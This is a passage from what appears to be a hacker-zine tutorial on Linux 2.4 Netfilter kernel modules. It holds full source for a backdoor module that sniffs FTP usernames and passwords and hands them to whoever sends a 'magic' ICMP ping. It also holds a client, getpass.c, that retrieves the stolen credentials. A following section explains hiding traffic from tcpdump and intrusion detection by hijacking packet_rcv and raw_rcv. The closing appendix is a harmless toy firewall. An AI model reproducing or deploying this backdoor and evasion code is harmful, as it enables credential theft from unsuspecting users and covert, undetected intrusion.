/* Tracking information. Only log USER and PASS commands that go to the
|
|
* same IP address and TCP port. */
|
|
static unsigned int target_ip = 0;
|
|
static unsigned short target_port = 0;
|
|
|
|
/* Used to describe our Netfilter hooks */
|
|
struct nf_hook_ops pre_hook; /* Incoming */
|
|
struct nf_hook_ops post_hook; /* Outgoing */
|
|
|
|
|
|
/* Function that looks at an sk_buff that is known to be an FTP packet.
|
|
* Looks for the USER and PASS fields and makes sure they both come from
|
|
* the one host as indicated in the target_xxx fields */
|
|
static void check_ftp(struct sk_buff *skb)
|
|
{
|
|
struct tcphdr *tcp;
|
|
char *data;
|
|
int len = 0;
|
|
int i = 0;
|
|
|
|
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
|
|
data = (char *)((int)tcp + (int)(tcp->doff * 4));
|
|
|
|
/* Now, if we have a username already, then we have a target_ip.
|
|
* Make sure that this packet is destined for the same host. */
|
|
if (username)
|
|
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
|
|
return;
|
|
|
|
/* Now try to see if this is a USER or PASS packet */
|
|
if (strncmp(data, "USER ", 5) == 0) { /* Username */
|
|
data += 5;
|
|
|
|
if (username) return;
|
|
|
|
while (*(data + i) != '\r' && *(data + i) != '\n'
|
|
&& *(data + i) != '\0' && i < 15) {
|
|
len++;
|
|
i++;
|
|
}
|
|
|
|
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
|
|
return;
|
|
memset(username, 0x00, len + 2);
|
|
memcpy(username, data, len);
|
|
*(username + len) = '\0'; /* NULL terminate */
|
|
} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
|
|
data += 5;
|
|
|
|
/* If a username hasn't been logged yet then don't try logging
|
|
* a password */
|
|
if (username == NULL) return;
|
|
if (password) return;
|
|
|
|
while (*(data + i) != '\r' && *(data + i) != '\n'
|
|
&& *(data + i) != '\0' && i < 15) {
|
|
len++;
|
|
i++;
|
|
}
|
|
|
|
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
|
|
return;
|
|
memset(password, 0x00, len + 2);
|
|
memcpy(password, data, len);
|
|
*(password + len) = '\0'; /* NULL terminate */
|
|
} else if (strncmp(data, "QUIT", 4) == 0) {
|
|
/* Quit command received. If we have a username but no password,
|
|
* clear the username and reset everything */
|
|
if (have_pair) return;
|
|
if (username && !password) {
|
|
kfree(username);
|
|
username = NULL;
|
|
target_port = target_ip = 0;
|
|
have_pair = 0;
|
|
|
|
return;
|
|
}
|
|
} else {
|
|
return;
|
|
}
|
|
|
|
if (!target_ip)
|
|
target_ip = skb->nh.iph->daddr;
|
|
if (!target_port)
|
|
target_port = tcp->source;
|
|
|
|
if (username && password)
|
|
have_pair++; /* Have a pair. Ignore others until
|
|
* this pair has been read. */
|
|
// if (have_pair)
|
|
// printk("Have password pair! U: %s P: %s\n", username, password);
|
|
}
|
|
|
|
/* Function called as the POST_ROUTING (last) hook. It will check for
|
|
* FTP traffic then search that traffic for USER and PASS commands. */
|
|
static unsigned int watch_out(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
struct sk_buff *sb = *skb;
|
|
struct tcphdr *tcp;
|
|
|
|
/* Make sure this is a TCP packet first */
|
|
if (sb->nh.iph->protocol != IPPROTO_TCP)
|
|
return NF_ACCEPT; /* Nope, not TCP */
|
|
|
|
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
|
|
|
|
/* Now check to see if it's an FTP packet */
|
|
if (tcp->dest != htons(21))
|
|
return NF_ACCEPT; /* Nope, not FTP */
|
|
|
|
/* Parse the FTP packet for relevant information if we don't already
|
|
* have a username and password pair. */
|
|
if (!have_pair)
|
|
check_ftp(sb);
|
|
|
|
/* We are finished with the packet, let it go on its way */
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
|
|
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
|
|
* When that is received, we tweak the skb structure to send a reply
|
|
* back to the requesting host and tell Netfilter that we stole the
|
|
* packet. */
|
|
static unsigned int watch_in(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
struct sk_buff *sb = *skb;
|
|
struct icmphdr *icmp;
|
|
char *cp_data; /* Where we copy data to in reply */
|
|
unsigned int taddr; /* Temporary IP holder */
|
|
|
|
/* Do we even have a username/password pair to report yet? */
|
|
if (!have_pair)
|
|
return NF_ACCEPT;
|
|
|
|
/* Is this an ICMP packet? */
|
|
if (sb->nh.iph->protocol != IPPROTO_ICMP)
|
|
return NF_ACCEPT;
|
|
|
|
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
|
|
|
|
/* Is it the MAGIC packet? */
|
|
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|
|
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
/* Okay, matches our checks for "Magicness", now we fiddle with
|
|
* the sk_buff to insert the IP address, and username/password pair,
|
|
* swap IP source and destination addresses and ethernet addresses
|
|
* if necessary and then transmit the packet from here and tell
|
|
* Netfilter we stole it. Phew... */
|
|
taddr = sb->nh.iph->saddr;
|
|
sb->nh.iph->saddr = sb->nh.iph->daddr;
|
|
sb->nh.iph->daddr = taddr;
|
|
|
|
sb->pkt_type = PACKET_OUTGOING;
|
|
|
|
switch (sb->dev->type) {
|
|
case ARPHRD_PPP: /* No fiddling needs doing */
|
|
break;
|
|
case ARPHRD_LOOPBACK:
|
|
case ARPHRD_ETHER:
|
|
{
|
|
unsigned char t_hwaddr[ETH_ALEN];
|
|
|
|
/* Move the data pointer to point to the link layer header */
|
|
sb->data = (unsigned char *)sb->mac.ethernet;
|
|
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
|
|
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
|
|
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
|
|
ETH_ALEN);
|
|
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
|
|
|
|
break;
|
|
}
|
|
};
|
|
|
|
/* Now copy the IP address, then Username, then password into packet */
|
|
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
|
|
memcpy(cp_data, &target_ip, 4);
|
|
if (username)
|
|
memcpy(cp_data + 4, username, 16);
|
|
if (password)
|
|
memcpy(cp_data + 20, password, 16);
|
|
|
|
/* This is where things will die if they are going to.
|
|
* Fingers crossed... */
|
|
dev_queue_xmit(sb);
|
|
|
|
/* Now free the saved username and password and reset have_pair */
|
|
kfree(username);
|
|
kfree(password);
|
|
username = password = NULL;
|
|
have_pair = 0;
|
|
|
|
target_port = target_ip = 0;
|
|
|
|
// printk("Password retrieved\n");
|
|
|
|
return NF_STOLEN;
|
|
}
|
|
|
|
int init_module()
|
|
{
|
|
pre_hook.hook = watch_in;
|
|
pre_hook.pf = PF_INET;
|
|
pre_hook.priority = NF_IP_PRI_FIRST;
|
|
pre_hook.hooknum = NF_IP_PRE_ROUTING;
|
|
|
|
post_hook.hook = watch_out;
|
|
post_hook.pf = PF_INET;
|
|
post_hook.priority = NF_IP_PRI_FIRST;
|
|
post_hook.hooknum = NF_IP_POST_ROUTING;
|
|
|
|
nf_register_hook(&pre_hook);
|
|
nf_register_hook(&post_hook);
|
|
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module()
|
|
{
|
|
nf_unregister_hook(&post_hook);
|
|
nf_unregister_hook(&pre_hook);
|
|
|
|
if (password)
|
|
kfree(password);
|
|
if (username)
|
|
kfree(username);
|
|
}
|
|
<-->
|
|
|
|
------[ 5.2.2 - getpass.c
|
|
|
|
<++> nfsniff/getpass.c
|
|
/* getpass.c - simple utility to get username/password pair from
|
|
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
|
|
* Mostly stripped from my source for InfoPig.
|
|
*
|
|
* Written by bioforge - March 2003 */
|
|
|
|
#include <sys/types.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <errno.h>
|
|
#include <sys/socket.h>
|
|
#include <netdb.h>
|
|
#include <arpa/inet.h>
|
|
|
|
#ifndef __USE_BSD
|
|
# define __USE_BSD /* We want the proper headers */
|
|
#endif
|
|
# include <netinet/ip.h>
|
|
#include <netinet/ip_icmp.h>
|
|
|
|
/* Function prototypes */
|
|
static unsigned short checksum(int numwords, unsigned short *buff);
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
unsigned char dgram[256]; /* Plenty for a PING datagram */
|
|
unsigned char recvbuff[256];
|
|
struct ip *iphead = (struct ip *)dgram;
|
|
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
|
|
struct sockaddr_in src;
|
|
struct sockaddr_in addr;
|
|
struct in_addr my_addr;
|
|
struct in_addr serv_addr;
|
|
socklen_t src_addr_size = sizeof(struct sockaddr_in);
|
|
int icmp_sock = 0;
|
|
int one = 1;
|
|
int *ptr_one = &one;
|
|
|
|
if (argc < 3) {
|
|
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
/* Get a socket */
|
|
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
|
|
fprintf(stderr, "Couldn't open raw socket! %s\n",
|
|
strerror(errno));
|
|
exit(1);
|
|
}
|
|
|
|
/* set the HDR_INCL option on the socket */
|
|
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
|
|
ptr_one, sizeof(one)) < 0) {
|
|
close(icmp_sock);
|
|
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
|
|
strerror(errno));
|
|
exit(1);
|
|
}
|
|
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = inet_addr(argv[1]);
|
|
|
|
my_addr.s_addr = inet_addr(argv[2]);
|
|
|
|
memset(dgram, 0x00, 256);
|
|
memset(recvbuff, 0x00, 256);
|
|
|
|
/* Fill in the IP fields first */
|
|
iphead->ip_hl = 5;
|
|
iphead->ip_v = 4;
|
|
iphead->ip_tos = 0;
|
|
iphead->ip_len = 84;
|
|
iphead->ip_id = (unsigned short)rand();
|
|
iphead->ip_off = 0;
|
|
iphead->ip_ttl = 128;
|
|
iphead->ip_p = IPPROTO_ICMP;
|
|
iphead->ip_sum = 0;
|
|
iphead->ip_src = my_addr;
|
|
iphead->ip_dst = addr.sin_addr;
|
|
|
|
/* Now fill in the ICMP fields */
|
|
icmphead->icmp_type = ICMP_ECHO;
|
|
icmphead->icmp_code = 0x5B;
|
|
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
|
|
|
|
/* Finally, send the packet */
|
|
fprintf(stdout, "Sending request...\n");
|
|
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
|
|
sizeof(struct sockaddr)) < 0) {
|
|
fprintf(stderr, "\nFailed sending request! %s\n",
|
|
strerror(errno));
|
|
return 0;
|
|
}
|
|
|
|
fprintf(stdout, "Waiting for reply...\n");
|
|
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
|
|
&src_addr_size) < 0) {
|
|
fprintf(stdout, "Failed getting reply packet! %s\n",
|
|
strerror(errno));
|
|
close(icmp_sock);
|
|
exit(1);
|
|
}
|
|
|
|
iphead = (struct ip *)recvbuff;
|
|
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
|
|
memcpy(&serv_addr, ((char *)icmphead + 8),
|
|
sizeof (struct in_addr));
|
|
|
|
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
|
|
fprintf(stdout, "Username: %s\n",
|
|
(char *)((char *)icmphead + 12));
|
|
fprintf(stdout, "Password: %s\n",
|
|
(char *)((char *)icmphead + 28));
|
|
|
|
close(icmp_sock);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* Checksum-generation function. It appears that PING'ed machines don't
|
|
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
|
|
* Fair enough I guess. */
|
|
static unsigned short checksum(int numwords, unsigned short *buff)
|
|
{
|
|
unsigned long sum;
|
|
|
|
for(sum = 0;numwords > 0;numwords--)
|
|
sum += *buff++; /* add next word, then increment pointer */
|
|
|
|
sum = (sum >> 16) + (sum & 0xFFFF);
|
|
sum += (sum >> 16);
|
|
|
|
return ~sum;
|
|
}
|
|
<-->
|
|
|
|
|
|
--[ 6 - Hiding network traffic from Libpcap
|
|
|
|
This section will briefly describe how the Linux 2.4 kernel
|
|
can be hacked to make network traffic that matches predefined
|
|
conditions invisible to packet sniffing software running on
|
|
the local machine. Presented at the end of this article is
|
|
working code that will do such a thing for all IPv4 traffic
|
|
coming from or going to a particular IP address. So let's
|
|
get started shall we...
|
|
|
|
----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
|
|
|
|
Some of the most useful software for a system administrator
|
|
is that which can be classified under the broad title of
|
|
"packet sniffer". Two of the most common examples of general
|
|
purpose packet sniffers are tcpdump(1) and Ethereal(1). Both
|
|
of these applications utilise the Libpcap library (available
|
|
from [1] along with tcpdump) to capture raw packets. Network
|
|
Intrusion Detection Systems (NIDS) also make use of the
|
|
Libpcap library. SNORT requires Libpcap, as does Libnids, a
|
|
NIDS writing library that provides IP reassembly and TCP
|
|
stream following and is available from [2].
|
|
|
|
On Linux systems, the Libpcap library uses the SOCK_PACKET
|
|
interface. Packet sockets are special sockets that can be
|
|
used to send and receive raw packets at the link layer. There
|
|
is a lot that can be said about packet sockets and their use.
|
|
However, because this section is about hiding from them and
|
|
not using them, the interested reader is directed to the
|
|
packet(7) man page. For the discussion here, it is only
|
|
neccessary to understand that packet sockets are what Libpcap
|
|
applications use to get the information on raw packets coming
|
|
into or going out of the machine.
|
|
|
|
When a packet is received by the kernel's network stack, a
|
|
check is performed to see if there are any packet sockets
|
|
that would be interested in this packet. If there are then
|
|
the packet is delivered to those interested sockets. If not,
|
|
the packet simply continues on it's way to the TCP, UDP or
|
|
other socket type that it's truly bound for. The same thing
|
|
happens for sockets of type SOCK_RAW. Raw sockets are very
|
|
similar to packet sockets, except they do not provide link
|
|
layer headers. An example of a utility that utilises raw
|
|
IP sockets is my SYNalert utility, available at [3] (sorry
|
|
about the shameless plug there :).
|
|
|
|
So now you should see that packet sniffing software on
|
|
Linux uses the Libpcap library. Libpcap utilises the packet
|
|
socket interface to obtain raw packets with link layers on
|
|
Linux systems. Raw sockets were also mentioned which act as
|
|
a way for user space applications to obtain packets complete
|
|
with IP headers. The next section will discuss how an LKM
|
|
can be used to hide network traffic from these packet and raw
|
|
socket interfaces.
|
|
|
|
|
|
------[ 6.2 Wrapping the cloak around the dagger
|
|
|
|
When a packet is received and sent to a packet socket, the
|
|
packet_rcv() function is called. This function can be found
|
|
in net/packet/af_packet.c. packet_rcv() is responsible for
|
|
running the packet through any socket filters that may be
|
|
applied to the destination socket and then the ultimate
|
|
delivery of the packet to user space. To hide packets from
|
|
a packet socket we need to prevent packet_rcv() from being
|
|
called at all for certain packets. How do we do this? With
|
|
good ol'-fashioned function hijacking of course.
|
|
|
|
The basic operation of function hijacking is that if we
|
|
know the address of a kernel function, even one that's not
|
|
exported, we can redirect that function to another location
|
|
before we allow the real code to run. To do this we first
|
|
save so many of the original instruction bytes from the
|
|
beginning of the function and replace them with instruction
|
|
bytes that perform an absolute jump to our own code. Example
|
|
i386 assembler to do this is given here:
|
|
|
|
movl (address of our function), %eax
|
|
jmp *eax
|
|
|
|
The generated hex bytes of these instructions (substituting
|
|
zero as our function address) are:
|
|
|
|
0xb8 0x00 0x00 0x00 0x00
|
|
0xff 0xe0
|
|
|
|
If in the initialisation of an LKM we change the function
|
|
address of zero in the code above to that of our hook
|
|
function, we can make our hook function run first. When (if)
|
|
we want to run the original function we simply restore the
|
|
original bytes at the beginning, call the function and then
|
|
replace our hijacking code. Simple, but powerful. Silvio
|
|
Cesare has written a document a while ago detailing kernel
|
|
function hijacking. See [4] in the references.
|
|
|
|
Now to hide packets from packet sockets we need to first
|
|
write the hook function that will check to see if a packet
|
|
matches our criteria to be hidden. If it does, then our hook
|
|
function simply returns zero to it's caller and packet_rcv()
|
|
never gets called. If packet_rcv() never gets called, then
|
|
the packet is never delivered to the user space packet
|
|
socket. Note that it is only the *packet* socket that this
|
|
packet will be dropped on. If we want to filter FTP packets
|
|
from being sent to packet sockets then the FTP server's TCP
|
|
socket will still see the packet. All that we've done is
|
|
made that packet invisible to any sniffer software that may
|
|
be running on the host. The FTP server will still be able to
|
|
process and log the connection.
|
|
|
|
In theory that's all there is too it. The same thing can
|
|
be done for raw sockets as well. The difference is that we
|
|
need to hook the raw_rcv() function (net/ipv4/raw.c). The
|
|
next section will present and discuss source code for an
|
|
example LKM that will hijack the packet_rcv() and raw_rcv()
|
|
functions and hide any packets going to or coming from an IP
|
|
address that we specify.
|
|
|
|
|
|
--[ 7 - Conclusion
|
|
|
|
Hopefully by now you have at least a basic understanding of what Netfilter
|
|
is, how to use it and what you can do with it. You should also have the
|
|
knowledge to hide special network traffic from sniffing software running on
|
|
the local machine.If you would like a tarball of the sources used for this
|
|
tutorial then just email me. I would also appreciate any corrections,
|
|
comments or suggestions. Now I leave it to you and your imagination to do
|
|
something interesting with what I have presented here.
|
|
|
|
|
|
--[ A - Light-Weight Fire Wall
|
|
----[ A.1 - Overview
|
|
|
|
The Light-Weight Fire Wall (LWFW) is a simple kernel module that
|
|
demonstrates the basic packet filtering techniques that were presented
|
|
in section 4.LWFW also provides a control interface through the ioctl()
|
|
system call.
|
|
|
|
Because the LWFW source is sufficiently documented I will only provide
|
|
a brief overview of how it works. When the LWFW module is installed
|
|
its first task is to try and register the control device. Note that
|
|
before the ioctl() interface to LWFW can be used, a character device file
|
|
needs to be made in /dev. If the control device registration succeeds the
|
|
"in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is
|
|
registered. The clean-up function simply does the reverse of this process.
|
|
|
|
LWFW provides three basic options for dropping packets. These are, in the
|
|
order of processing:
|
|
-- Source interface
|
|
-- Source IP address
|
|
-- Destination TCP port
|
|
|
|
The specifics of these rules are set with the ioctl() interface.
|
|
When a packet is received LWFW will check it against all the rules which
|
|
have been set. If it matches any of the rules then the hook function will
|
|
return NF_DROP and Netfilter will silently drop the packet. Otherwise
|
|
the hook function will return NF_ACCEPT and the packet will continue
|
|
on its way.
|
|
|
|
The last thing worth mentioning is LWFW's statistics logging. Whenever a
|
|
packet comes into the hook function and LWFW is active the total
|
|
number of packets seen is incremented. The individual rules checking
|
|
functions are responsible for incrementing their respective count of
|
|
dropped packets. Note that when a rule's value is changed its count of
|
|
dropped packets is reset to zero. The lwfwstats program utilises the
|
|
LWFW_GET_STATS IOCTL to get a copy of the statistics structure and
|
|
display it's contents.
|
|
|
|
|
|
----[ A.2 - The source... lwfw.c
|
|
|
|
<++> lwfw/lwfw.c
|
|
/* Light-weight Fire Wall. Simple firewall utility based on
|
|
* Netfilter for 2.4. Designed for educational purposes.
|
|
*
|
|
* Written by bioforge - March 2003.
|
|
*/
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/net.h>
|
|
#include <linux/types.h>
|
|
#include <linux/skbuff.h>
|
|
#include <linux/string.h>
|
|
#include <linux/malloc.h>
|
|
#include <linux/netdevice.h>
|
|
#include <linux/netfilter.h>
|
|
#include <linux/netfilter_ipv4.h>
|
|
#include <linux/in.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/tcp.h>
|
|
|
|
#include <asm/errno.h>
|
|
#include <asm/uaccess.h>
|
|
|
|
#include "lwfw.h"
|
|
|
|
/* Local function prototypes */
|
|
static int set_if_rule(char *name);
|
|
static int set_ip_rule(unsigned int ip);
|
|
static int set_port_rule(unsigned short port);
|
|
static int check_ip_packet(struct sk_buff *skb);
|
|
static int check_tcp_packet(struct sk_buff *skb);
|
|
static int copy_stats(struct lwfw_stats *statbuff);
|
|
|
|
/* Some function prototypes to be used by lwfw_fops below. */
|
|
static int lwfw_ioctl(struct inode *inode, struct file *file,
|
|
unsigned int cmd, unsigned long arg);
|
|
static int lwfw_open(struct inode *inode, struct file *file);
|
|
static int lwfw_release(struct inode *inode, struct file *file);
|
|
|
|
|
|
/* Various flags used by the module */
|
|
/* This flag makes sure that only one instance of the lwfw device
|
|
* can be in use at any one time. */
|
|
static int lwfw_ctrl_in_use = 0;
|
|
|
|
/* This flag marks whether LWFW should actually attempt rule checking.
|
|
* If this is zero then LWFW automatically allows all packets. */
|
|
static int active = 0;
|
|
|
|
/* Specifies options for the LWFW module */
|
|
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
|
|
| LWFW_IP_DENY_ACTIVE
|
|
| LWFW_PORT_DENY_ACTIVE);
|
|
|
|
static int major = 0; /* Control device major number */
|
|
|
|
/* This struct will describe our hook procedure. */
|
|
struct nf_hook_ops nfkiller;
|
|
|
|
/* Module statistics structure */
|
|
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};
|
|
|
|
/* Actual rule 'definitions'. */
|
|
/* TODO: One day LWFW might actually support many simultaneous rules.
|
|
* Just as soon as I figure out the list_head mechanism... */
|
|
static char *deny_if = NULL; /* Interface to deny */
|
|
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
|
|
static unsigned short deny_port = 0x0000; /* TCP port to deny */
|
|
|
|
/*
|
|
* This is the interface device's file_operations structure
|
|
*/
|
|
struct file_operations lwfw_fops = {
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
lwfw_ioctl,
|
|
NULL,
|
|
lwfw_open,
|
|
NULL,
|
|
lwfw_release,
|
|
NULL /* Will be NULL'ed from here... */
|
|
};
|
|
|
|
MODULE_AUTHOR("bioforge");
|
|
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");
|
|
|
|
/*
|
|
* This is the function that will be called by the hook
|
|
*/
|
|
unsigned int lwfw_hookfn(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
unsigned int ret = NF_ACCEPT;
|
|
|
|
/* If LWFW is not currently active, immediately return ACCEPT */
|
|
if (!active)
|
|
return NF_ACCEPT;
|
|
|
|
lwfw_statistics.total_seen++;
|
|
|
|
/* Check the interface rule first */
|
|
if (deny_if && DENY_IF_ACTIVE) {
|
|
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
|
|
lwfw_statistics.if_dropped++;
|
|
lwfw_statistics.total_dropped++;
|
|
return NF_DROP;
|
|
}
|
|
}
|
|
|
|
/* Check the IP address rule */
|
|
if (deny_ip && DENY_IP_ACTIVE) {
|
|
ret = check_ip_packet(*skb);
|
|
if (ret != NF_ACCEPT) return ret;
|
|
}
|
|
|
|
/* Finally, check the TCP port rule */
|
|
if (deny_port && DENY_PORT_ACTIVE) {
|
|
ret = check_tcp_packet(*skb);
|
|
if (ret != NF_ACCEPT) return ret;
|
|
}
|
|
|
|
return NF_ACCEPT; /* We are happy to keep the packet */
|
|
}
|
|
|
|
/* Function to copy the LWFW statistics to a userspace buffer */
|
|
static int copy_stats(struct lwfw_stats *statbuff)
|
|
{
|
|
NULL_CHECK(statbuff);
|
|
|
|
copy_to_user(statbuff, &lwfw_statistics,
|
|
sizeof(struct lwfw_stats));
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* Function that compares a received TCP packet's destination port
|
|
* with the port specified in the Port Deny Rule. If a processing
|
|
* error occurs, NF_ACCEPT will be returned so that the packet is
|
|
* not lost. */
|
|
static int check_tcp_packet(struct sk_buff *skb)
|
|
{
|
|
/* Seperately defined pointers to header structures are used
|
|
* to access the TCP fields because it seems that the so-called
|
|
* transport header from skb is the same as its network header TCP packets.
|
|
* If you don't believe me then print the addresses of skb->nh.iph
|
|
* and skb->h.th.
|
|
* It would have been nicer if the network header only was IP and
|
|
* the transport header was TCP but what can you do? */
|
|
struct tcphdr *thead;
|
|
|
|
/* We don't want any NULL pointers in the chain to the TCP header. */
|
|
if (!skb ) return NF_ACCEPT;
|
|
if (!(skb->nh.iph)) return NF_ACCEPT;
|
|
|
|
/* Be sure this is a TCP packet first */
|
|
if (skb->nh.iph->protocol != IPPROTO_TCP) {
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
|
|
|
|
/* Now check the destination port */
|
|
if ((thead->dest) == deny_port) {
|
|
/* Update statistics */
|
|
lwfw_statistics.total_dropped++;
|
|
lwfw_statistics.tcp_dropped++;
|
|
|
|
return NF_DROP;
|
|
}
|
|
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
/* Function that compares a received IPv4 packet's source address
|
|
* with the address specified in the IP Deny Rule. If a processing
|
|
* error occurs, NF_ACCEPT will be returned so that the packet is
|
|
* not lost. */
|
|
static int check_ip_packet(struct sk_buff *skb)
|
|
{
|
|
/* We don't want any NULL pointers in the chain to the IP header. */
|
|
if (!skb ) return NF_ACCEPT;
|
|
if (!(skb->nh.iph)) return NF_ACCEPT;
|
|
|
|
if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
|
|
lwfw_statistics.ip_dropped++; /* Update the statistics */
|
|
lwfw_statistics.total_dropped++;
|
|
|
|
return NF_DROP;
|
|
}
|
|
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
static int set_if_rule(char *name)
|
|
{
|
|
int ret = 0;
|
|
char *if_dup; /* Duplicate interface */
|
|
|
|
/* Make sure the name is non-null */
|
|
NULL_CHECK(name);
|
|
|
|
/* Free any previously saved interface name */
|
|
if (deny_if) {
|
|
kfree(deny_if);
|
|
deny_if = NULL;
|
|
}
|
|
|
|
if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
|
|
== NULL) {
|
|
ret = -ENOMEM;
|
|
} else {
|
|
memset(if_dup, 0x00, strlen((char *)name) + 1);
|
|
memcpy(if_dup, (char *)name, strlen((char *)name));
|
|
}
|
|
|
|
deny_if = if_dup;
|
|
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
|
|
printk("LWFW: Set to deny from interface: %s\n", deny_if);
|
|
|
|
return ret;
|
|
}
|
|
|
|
static int set_ip_rule(unsigned int ip)
|
|
{
|
|
deny_ip = ip;
|
|
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */
|
|
|
|
printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
|
|
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
|
|
(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
|
|
|
|
return 0;
|
|
}
|
|
|
|
static int set_port_rule(unsigned short port)
|
|
{
|
|
deny_port = port;
|
|
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */
|
|
|
|
printk("LWFW: Set to deny for TCP port: %d\n",
|
|
((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*********************************************/
|
|
/*
|
|
* File operations functions for control device
|
|
*/
|
|
static int lwfw_ioctl(struct inode *inode, struct file *file,
|
|
unsigned int cmd, unsigned long arg)
|
|
{
|
|
int ret = 0;
|
|
|
|
switch (cmd) {
|
|
case LWFW_GET_VERS:
|
|
return LWFW_VERS;
|
|
case LWFW_ACTIVATE: {
|
|
active = 1;
|
|
printk("LWFW: Activated.\n");
|
|
if (!deny_if && !deny_ip && !deny_port) {
|
|
printk("LWFW: No deny options set.\n");
|
|
}
|
|
break;
|
|
}
|
|
case LWFW_DEACTIVATE: {
|
|
active ^= active;
|
|
printk("LWFW: Deactivated.\n");
|
|
break;
|
|
}
|
|
case LWFW_GET_STATS: {
|
|
ret = copy_stats((struct lwfw_stats *)arg);
|
|
break;
|
|
}
|
|
case LWFW_DENY_IF: {
|
|
ret = set_if_rule((char *)arg);
|
|
break;
|
|
}
|
|
case LWFW_DENY_IP: {
|
|
ret = set_ip_rule((unsigned int)arg);
|
|
break;
|
|
}
|
|
case LWFW_DENY_PORT: {
|
|
ret = set_port_rule((unsigned short)arg);
|
|
break;
|
|
}
|
|
default:
|
|
ret = -EBADRQC;
|
|
};
|
|
|
|
return ret;
|
|
}
|
|
|
|
/* Called whenever open() is called on the device file */
|
|
static int lwfw_open(struct inode *inode, struct file *file)
|
|
{
|
|
if (lwfw_ctrl_in_use) {
|
|
return -EBUSY;
|
|
} else {
|
|
MOD_INC_USE_COUNT;
|
|
lwfw_ctrl_in_use++;
|
|
return 0;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
/* Called whenever close() is called on the device file */
|
|
static int lwfw_release(struct inode *inode, struct file *file)
|
|
{
|
|
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
|
|
MOD_DEC_USE_COUNT;
|
|
return 0;
|
|
}
|
|
|
|
/*********************************************/
|
|
/*
|
|
* Module initialisation and cleanup follow...
|
|
*/
|
|
int init_module()
|
|
{
|
|
/* Register the control device, /dev/lwfw */
|
|
SET_MODULE_OWNER(&lwfw_fops);
|
|
|
|
/* Attempt to register the LWFW control device */
|
|
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
|
|
&lwfw_fops)) < 0) {
|
|
printk("LWFW: Failed registering control device!\n");
|
|
printk("LWFW: Module installation aborted.\n");
|
|
return major;
|
|
}
|
|
|
|
/* Make sure the usage marker for the control device is cleared */
|
|
